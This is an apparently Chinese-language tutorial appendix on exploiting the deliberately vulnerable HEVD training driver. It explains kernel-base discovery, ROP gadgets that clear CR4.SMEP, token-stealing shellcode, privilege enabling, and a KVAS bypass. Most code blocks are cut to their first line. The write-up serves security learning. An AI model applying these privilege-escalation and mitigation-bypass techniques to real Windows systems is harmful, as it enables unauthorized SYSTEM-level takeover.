上:https://joe1sn.eu.org/2024/01/25/win-hevd-exp-stackoverflow-I/
中:https://joe1sn.eu.org/2024/01/25/win-hevd-exp-stackoverflow-II/
文章已在先知社区投稿:https://xz.aliyun.com/t/13365
本附录对第二章的以下几个遗留问题做出说明
- user编程寻找ROPGadget
- shellcode编写
- Token提权
- KVAS
user编程寻找ROPGadget
ROP全称加返回导向性编程,比如这一章用到的Gadget
| 1 | pop rcx | 
关于ret汇编本质上就是从栈帧中取出值,然后将ip寄存器设置为该值,等价于pop ip,这样就能完成函数调用的返回等等。
本章中当我们发生栈溢出时,就会把ret的位置设置为第一段gadget的位置
- pop rcx就会将此时栈顶的值- 0x00000000002506f8存入- rcx寄存器,然后- ret又从栈顶取出地址- mov_rc4_rcx_ret,然后- rip寄存器就跳转执行了
- mov rc4, rcx将- rcx值存入- rc4中然后- ret又将栈顶的值- shellcode_addr设置为- rip寄存器的值后返回
细心一点就会发现本章截图中的地址不一样,因为内核加载时的内存虚拟地址也是随机化的,不过寻址方式依旧是基地址+偏移
这就引申出函数第一段代码:找到内核的基地址
A.找到内核基地址
通过NtQuerySystemInformation 这个“半隐藏”函数实现的
MSDN:https://learn.microsoft.com/zh-cn/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation
| 1 | __kernel_entry NTSTATUS NtQuerySystemInformation( | 
指向接收请求信息的缓冲区的指针。 此信息的大小和结构因 SystemInformationClass 参数的值而异:
很可惜,关于SystemInformationClass微软并没有公开它的设计,网上有很多关于此的资料
SYSTEM_INFORMATION_CLASS:https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/ntexapi/system_information_class.htm
他是一个枚举,其中0xB就代表着要查询的是SystemModuleInformation
SYSTEM_MODULE:http://undocumented.ntinternals.net/index.html?page=UserMode%2FStructures%2FSYSTEM_MODULE.html
| 1 | typedef struct _SYSTEM_MODULE { | 
SystemInformation就是由SYSTEM_MODULE数组作为成员的结构体,这个没有官方文档,也是通过逆向得到的
| 1 | typedef struct SYSTEM_MODULE_INFORMATION { | 
关于查询函数的定义:
| 1 | unsigned long long ulGetKernelBase(PCHAR ModuleName); | 
- 首先从ntdll导入函数
- 然后初始化变量
- 查询后打印并返回,如果没有查到就返回0
| 1 | unsigned long long ulGetKernelBase(PCHAR ModuleName) { | 
B. 找到对应汇编
可以使用CTF常用工具ROPGadget,他支持PE格式(因为用的Capstone反汇编引擎)
| 1 | ROPgadget --binary ./HEVD.sys --only "pop|ret" | 
试试ntoskrl.exe的

| 1 | 0x000000014039eb47 : mov cr4, rcx ; ret | 
得到基地址是0x39eb47,另外一个gadget同理
重写修改下EXP
| 1 | unsigned long long base = ulGetKernelBase((PCHAR)"ntoskrnl.exe"); | 


一些常见的gadget字节序列
| 1 | { "RET" , { 0xC3 }}, | 
如果想直接从二进制读取(这样更快)可以使用:https://github.com/xct/windows-kernel-exploits 提供的思路去找
shellcode编写
A. 手动进行Token提权
第二章中使用的是他人提供的shellcode,这里尝试自己写汇编
注意,这里我们已经进入内核了,所以做的事情和user级别不一样
同KRPOCESS不同的是EPROCESS描述了程序运行的相关环境,例如:对应的KPROCESS指针、程序的权限等
在windbg中使用 ,可以列举所有的进程的相关信息
| 1 | !process 0 0 <process_name> | 

使用下面的命令来查看对应的EPROCESS结构体,这里查看System进程的
| 1 | dt nt!_EPROCESS <Process address> | 


Token是一个_EX_FAST_REF类型的Union值

RefCnt记录了Token引用的数目,是数据的低4位(64位中,32位是3位)
将当前进程的除RefCnt以外的其他bit位设置为和System的一致就行了,
这里 Value与掩码-0xd(RefCount)进行&运算就能得到真实的Token值

现在将计算出的Token值复制给cmd.exe(这是一个新的Token)




B. 进行Shellcode编写
在刚才的EPROCESS中,有一段记录的是程序的链表:ActiveProcessLinks,而且windows会生成一段独特的标识来标记每一个程序:UniqueProcessId,在这段 双向 链表上每段程序都可以被找到,因为可以向前和向后查找,一般System位于链表开头,所以沿着Flink查找



- 
通过 EPROCESS获得自身ActiveProcessLinks,同时向前/向后查找这篇文章中通过模仿 PsGetCurrentProcess,gs:[188h]指向的是一个_KTHREAD,函数的汇编会将这个地址add addr,0xb8,就得到了当前进程的_EPROCESS,这也是许多shellcode的技巧  ffff9984d3d97080就为一个 当前进程的KiInitialThread+0xB8指向的是当前进程的EPROCESS了  
- 
比较当前 ActiveProcessLinks值-8的内存地址是否为UniqueProcessId
- 
否:更换当前结构体为下一个 
- 
是:从 ActiveProcessLinks-0x70的位置得到Token地址
- 
解析Token,赋值给当前进程(Windows会自动解析为exp的程序(从页表映射等来看确实应该如此)) 
仔细逆向会发现

那么在没有任何栈变动的情况下add rsp, 0x28就能恢复栈,但是我们只有了ROP,ROP链中存在两个ret和一个pop,抬栈了0x18,所以在shellcode中只需要add rsp, 0x10

同时HEVD的NT_STATUS使用RAX检测处理是否成功,所以要xor rax,rax
| 1 | [Bits 64] | 
使用nasm
| 1 | & "C:\Users\xxxx\AppData\Local\bin\NASM\nasm.exe" -f win64 .\TokenSteal.asm -o .\TokenSteal.bin | 
编译出的文件位COFF格式,要提取出来,这里我用的是CFF Explore的快速反汇编定位到代码然后用HxD提取的

| 1 | unsigned char cmd[84] = { | 


C. 分析上一篇的shellcode
| 1 | BYTE cmd[256] = { | 
写入一个二进制文档,用ida逆向

发现原理一致,最后对栈的恢复不同
已知gs:[0x188]指向一个_KTHREAD结构体

根据windbg的调试结果知道
| 1 | mov cx, [rax+0x1e4] ;+0x1e4 KernelApcDisable : 0n-1 | 

可能还是有点😵,反汇编一下TrapFrame的RIP

相当于通过TrapFrame,替换了exp中的DeviceIoControl(模仿正常执行),并让他正常返回
接着重定位GS寄存器,使用sysret返回,为了对齐,有的汇编是这样的写的
| 1 | o64 sysret ; nasm shit | 
D. 开启Token所有权限 [优化shellcode]
即使我们已经成功生成了令牌,但是功能依旧是不全的

被禁用的功能依旧有很多
I. 开启当前权限为启用
重新打开一个普通用户的cmd.exe

用A部分的方法找到该进程

查看token格式,对照一下SID。(注意低位要为0)
| 1 | !token <Token数值,但是个位数为0> | 

| 1 | dt !_sep_token_privileges 0xffffb106`ecc96060+0x40 | 

将Enabled值设置为Present值
| 1 | eq 0xffffb106`ecc96060+0x40+8 0x00000006`02880000 | 

查看权限

II. 获得所有权限并启用
用A部分的方法得到System的Token

再得到SystemToken的Present值

设置当前Token的Present和Enabled为该值

查看权限

III.重新编写shellcode
| 1 | [Bits 64] | 

KVAS
A. 简介
KVAS全称是Kernel Virtual Address Shadow,它的出现与MeltDown(CVE-2017-5754)和TotalMeltDown(CVE-2018-1038)有关。
我的描述不一定准确,大致上来说这两个漏洞利用了CPU的乱序执行技术,即CPU在执行时不一定会按照流程执行。当我们访问一个不能被用户模式访问的内存页时,CPU会执行该语句然后将其缓存到内存中,等到发现不能访问后返回错误,但是该数据依旧存在于缓存当中。利用这种思路就可以完全读取内核中的数据,实现权限提升等。
微软为了缓解该漏洞,从用户页表中隔离出内核页表,让用户态访问到的内核页表也是经过映射的,并且会将用户页表自动标记为NX,让我们的shellcode无法执行
B. Bypass
虽然用户页表为不可执行,但是内核页表仍然可执行,只不过会延长我们ROP链的长度
需要用到的函数是:ExAllocatePoolWithTag和RtlCopyMemory
- ExAllocatePoolWithTag:用于在内核中开辟一块地址
- RtlCopyMemory:复制内存到内核开辟的内存池
| 1 | LPVOID space = ExAllocatePoolWithTag(0, 0x100, 0xDEAD); | 
MSDN中说明该两个函数在内核中均位于 NtosKrnl.exe里,我们可以利用第一章的内容寻找到该地址,可以使用CFF Explorer查看导出表找到函数


需要说明的一点是ExAllocatePoolWithTag有一个很恶心的地方就是

这三个mov会打乱我们精心设计的ROP链,而且后面根本没有使用到他,所以要直接进入push rdi的位置
RtlCopyMemory其实是一个宏

| 1 | unsigned long long base = ulGetKernelBase((PCHAR)"ntoskrnl.exe"); | 
根据微软的函数调用规则,传参顺序是rcx,rdx,r8,返回地参数在rax中
那么一个理想的ROP布局
| 1 | pop rcx rdx r8 ret | 
就这些gadget中的pop会消除rsp+0x28的驱动的Handle函数返回地址,所以首先是抬栈,如sub rsp, 0x100,在jmp rax之前多次调用ret来抬升rsp的值,最终回到shellcode调整为适用的rsp值。
实际情况中也不会有恰好的gadget用
实际上能用的mov rcx, rax可以通过以下方式实现
| 1 | 0x00000001408fa783 : push rax ; push rbx ; ret | 
这样就能让rcx=rax了,布局后栈的情况
| 1 | ulExAllocatePoolWithTag | 
- pop rdi:- RDI=- pop rcx地址,出栈一个,- rsp指向- push_rax_rdi,然后- ret跳转到该地址
- push rax:将申请的内核内存地址放到了栈上,- rsp指向值就为该内存的地址
- push rdi; ret:等效于- jmp rdi,于是- ret到了- pop rcx
- pop rcx:此时的栈顶为 2 中入栈的- rax

成功让RCX=RAX

这里暂时设计payload
| 1 | //typedef unsigned long long funcaddr; | 
但是进行ExAllocatePoolWithTag

打断了ROP链,让rsp+68的位置的低32位清零了,这让我们需要调整这段rop链
| 1 | *(funcaddr*)(stackspace + 0x818 + 0x50) = (funcaddr)pop_rdx; //此处被低位被清零 | 

在设置CR4.SMEP的情况下,依靠内核分配的内存,成功运行了shellcode,ROP链进行了多次调用,让最后shellcode中的rsp值不好估计,并且栈的情况可能随着函数的调用将原有的值抹去,这里先把shellcode换成从TrapFrame返回的

C. 优化shellcode
所以这段shellcode参考shellcode编写的C、D部分,加上了所有功能Enabled的shellcode片段
| 1 | [Bits 64] | 
得到shellcode
| 1 | unsigned char cmd[176] = { | 

缺点就是程序无法exit退出,不过可以在shellcode中设置Token迁移等一些其他操作,这里就不展开了
参考
https://wumb0.in/finding-the-base-of-the-windows-kernel.html
https://github.com/xct/windows-kernel-exploits
https://connormcgarr.github.io/x64-Kernel-Shellcode-Revisited-and-SMEP-Bypass/